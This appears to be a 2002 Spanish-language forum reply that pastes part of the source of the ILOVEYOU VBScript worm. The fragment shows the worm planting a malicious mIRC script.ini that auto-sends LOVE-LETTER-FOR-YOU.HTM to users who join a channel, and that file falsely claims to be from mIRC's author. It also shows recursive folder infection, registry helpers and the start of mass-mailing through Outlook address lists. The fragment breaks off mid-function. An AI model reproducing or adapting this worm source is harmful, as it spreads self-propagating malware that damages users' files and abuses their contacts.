 
			
				13/06/2002, 19:33
			
			
			     |  
  |      |  
  |      Re: Ayuda Codigo Maldito VBscript        if (eq<>folderspec) then 
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then 
set scriptini=fso.CreateTextFile(folderspec&"  \script.ini") 
scriptini.WriteLine "[script]" 
scriptini.WriteLine ";mIRC Script" 
scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will" 
scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run correctly. thanks" 
scriptini.WriteLine ";" 
scriptini.WriteLine ";Khaled Mardam-Bey" 
scriptini.WriteLine ";http://www.mirc.com" 
scriptini.WriteLine ";" 
scriptini.WriteLine "n0=on 1:JOIN:#:{" 
scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }" 
scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" 
scriptini.WriteLine "n3=}" 
scriptini.close 
eq=folderspec 
end if 
end if 
next   
end sub 
sub folderlist(folderspec)   
On Error Resume Next 
dim f,f1,sf 
set f = fso.GetFolder(folderspec)   
set sf = f.SubFolders 
for each f1 in sf 
infectfiles(f1.path) 
folderlist(f1.path) 
next   
end sub 
sub regcreate(regkey,regvalue) 
Set regedit = CreateObject("WScript.Shell") 
regedit.RegWrite regkey,regvalue 
end sub 
function regget(value) 
Set regedit = CreateObject("WScript.Shell") 
regget=regedit.RegRead(value) 
end function 
function fileexist(filespec) 
On Error Resume Next 
dim msg 
if (fso.FileExists(filespec)) Then 
msg = 0 
else 
msg = 1 
end if 
fileexist = msg 
end function 
function folderexist(folderspec) 
On Error Resume Next 
dim msg 
if (fso.GetFolderExists(folderspec)) then 
msg = 0 
else 
msg = 1 
end if 
fileexist = msg 
end function 
sub spreadtoemail() 
On Error Resume Next 
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega  d 
set regedit=CreateObject("WScript.Shell") 
set out=WScript.CreateObject("Outlook.Application  ") 
set mapi=out.GetNameSpace("MAPI") 
for ctrlists=1 to mapi.AddressLists.Count 
set a=mapi.AddressLists(ctrlists) 
x=1             |